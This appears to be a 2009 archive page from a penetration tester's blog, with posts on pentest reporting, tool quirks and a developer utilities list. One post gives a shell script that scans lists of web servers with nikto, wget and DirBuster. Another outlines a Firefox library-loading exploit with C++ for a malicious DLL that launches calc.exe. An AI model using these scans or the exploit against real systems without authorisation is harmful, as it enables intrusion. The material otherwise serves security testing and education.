0x0e.org | pentesting perspective

braindump on pentesting, QA, metasploit, constant learning

Archive for September 2009

security product recommendations in a pentest?

leave a comment »

is there room for it?

after reading this post on the metasploit blog, i started thinking about how well I currently evaluate product implementations within a typical penetration test. If configuration auditing has been included, I’ll do some of this. However, as a pentester, it pays to know the products in use, and to be familiar with the differences between say, trend micro and kaspersky antivirus or Splunk and syslog. It would be useful to include specific measurements and recommendations around the products in use on the network.

for instance:

  • Antivirus: Trend Micro – Configured properly, managed well. Recently garnered the top spot in an
  • Spam filtering: Ironport – Not well configured. Recommend moving to the Sophos appliance for ease of use. (based on strengths of the team)
  • Monitoring: Snort – Configured poorly. Recommend switching to bro to support policy / functionality separation. would streamline IT processes
  • Vuln scanning: Nessus – AdHoc – Need to move to automated process, more advanced web-scanning tool. Look into qualys / ncircle / rapid7.
  • Firewall: Cisco PIX
  • Logging: Syslog server – …
  • etc..

Now, the issue becomes two-fold. one, the tester needs to have a solid understanding of each of the products he’s evaluating / recommending and a clear understanding of the client’s needs. It’s not a typical penetration test function, but would definitely provide value to a customer. (The more i write here, the more it turns into a full configuration audit of the customer’s systems, and while would be a nice-to-have on a pentest, isn’t part of a typical assessment)

i think most shops steer clear of this under the ‘product agnostic’ label, but as long as that’s been made clear up front, i’d say go for it.

Written by jcran

September 29, 2009 at 6:29 AM

Posted in Uncategorized

security tools with personality

with 2 comments

i love tools with personality:

Caught exit of DirBuster
Writing report
Report saved to
Enjoy the rest of your day

The compilation process of nmap comes to mind:

a sneezing dragon


as does KARMA:

Loading config file etc/karma-scan.xml
DNS-SERVER is running
DHCP-SERVER is running
Delivering judicious KARMA, hit Control-C to quit.


Written by jcran

September 16, 2009 at 5:58 PM

Posted in Uncategorized

Automate basic web server checks

leave a comment »

for i in `cat $1`  ## for all lines in the file provided to the script
    echo “Nikto’ing $i”
    ##NOTE: Nikto needs to have been untarred here.
    /home/jcran/toolkit/nix/attack-net-webserver/nikto/nikto.pl -host $i -config /home/jcran/toolkit/nix/attack-net-webserver/nikto/config.txt | tee report.nikto.$i.txt

    ## Wget
    echo “wgett’ing HTTP://$i/”
    wget -r -l 2 http://$i/

    ## dirbuster
    java -jar /home/jcran/toolkit/nix/brute-web/DirBuster-0.12/DirBuster-0.12.jar -H -l /home/jcran/toolkit/wordlist/directory-list-2.3-tiny.txt -e asp,aspx,jsp -v -P -R -r $i.dirbuster.html -u http://$i

Call it as: ./webservercheck.sh <file with ips>

Ignore the awful pathing problems if you can. Anyhow, it does a nikto / wget / dirbuster for every host. handy if you’ve run a portscan on :80 (using something like nmap or propecia).


Written by jcran

September 16, 2009 at 5:49 PM

Posted in Uncategorized

Google is the new AV.

leave a comment »

Doing a little research on an exploit, i came across SecurityDot.Net. Google provided the link. However, when i clicked on it, i got this:

Of the 174 pages we tested on the site over the past 90 days, 4 page(s) resulted in malicious software being downloaded and installed without user consent. The last time Google visited this site was on 2009-09-11, and the last time suspicious content was found on this site was on 2009-09-11.Malicious software includes 2 trojan(s), 1 exploit(s). Successful infection resulted in an average of 3 new process(es) on the target machine.

Malicious software is hosted on 5 domain(s), including odile-marco.com/, google-analyze.org/,

This site was hosted on 1 network(s) including AS25220 (GLOBALNOC).

Also, when i tried to browse to the site directly, i got this:

Which turns out to be a built-in interface for the same google-stopbadware database.

Note that it was indeed a drive-by attack site. But is it’s google’s job to protect me when i click on a malicious link?

Written by jcran

September 13, 2009 at 9:56 PM

Posted in Uncategorized

Call an arbitrary library with JavaScript? I think i will.

leave a comment »

This is a handy way to execute code within the browser. Kudos to Jesse Ruderman and Dan Kaminsky for the bug discovery and POC.

Essentially, in Firefox up through 3.0.13 (my ubuntu 9.04 is running 3.0.11), there’s a publicly exposed javascript function which allows you to call an arbitrary crypto library on the system. Assuming you’re able to place a malicious library (see below) in the target environment, you could use this to get other systems to execute it. Extra win, you can use UNC paths to locate the library 🙂

Source is here. <– note, this is live, but it’s calling a non-existent crypto library.

The malicious library would need a function named CPkunkcsApp(), which, in this case, just calls ShellExecute.

<font face="monospace">CpkunkcsApp::CpkunkcsApp()
    char *str = "c:\\windows\\system32\\calc.exe";
    wchar_t *wText;
    size_t len;
    len = strlen(str)+1;
    wText = new wchar_t[strlen(str)];
    memset(wText, 0, len * sizeof(wchar_t));
    ::MultiByteToWideChar(CP_ACP, NULL, str, -1, wText, len);
    ShellExecute(NULL, NULL, wText, NULL, NULL, SW_SHOW);

Written by jcran

September 13, 2009 at 9:17 PM

Posted in Uncategorized

Scott Hanselman’s 2009 Utils List

leave a comment »

I followed Scott Hanselman around for a year when I was touring with the Dead^W^W^W^W a build / team system admin. He always puts out a good utils list: http://www.hanselman.com/blog/ScottHanselmans2009UltimateDeveloperAndPowerUsersToolListForWindows.aspx

There are a few that are already in the pentesting toolkit:

  •  Fiddler
  •  PowerShell
  •  .NET Reflector / NDepend
  •  Notepad++
  •  Firebug

And a few new ones

  •  Storm
  •  BugShooting (Works with trac?)
  •  WinCheat
  •  TextCrawler
  •  PInvoke.NET
  •  Microsoft Network Monitor 3.3

etc etc etc. lots of good stuff here. (i’m learning to blog when i’m procrastinating. back to work!)

Written by jcran

September 8, 2009 at 2:33 AM

Posted in Uncategorized

this is the only reason why facebook is so valuable…

with 3 comments

Written by jcran

September 3, 2009 at 3:32 AM

Posted in Uncategorized